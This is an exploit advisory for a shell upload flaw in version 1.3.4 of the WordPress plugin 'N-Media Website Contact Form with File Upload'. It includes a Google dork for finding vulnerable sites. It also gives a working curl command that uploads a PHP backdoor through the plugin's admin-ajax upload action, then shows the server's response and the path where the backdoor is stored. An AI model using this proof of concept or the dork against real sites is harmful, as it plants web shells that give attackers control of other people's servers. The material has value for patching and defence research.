Wordpress N-Media Website Contact Form with File Upload 1.3.

# Exploit Title : Wordpress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload Vulnerability

# Software Link : https://downloads.wordpress.org/plugin/website-contact-form-with-file-upload.1.3.4.zip

# Dork Google: index of website-contact-form-with-file-upload
               index of /uploads/contact_files/

# Tested on : Linux BackBox 4.0 / curl 7.35.0

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# Info :

 The "upload_file()" ajax function is affected from unrestircted file upload vulnerability.


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# PoC:

 curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nm_webcontact_upload_file" http://VICTIM/wp-admin/admin-ajax.php


 Response: {"status":"uploaded","filename":"1427927588-backdoor.php"}


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# Backdoor Location:
http://VICTIM/wp-content/uploads/contact_files/1427927588-backdoor.php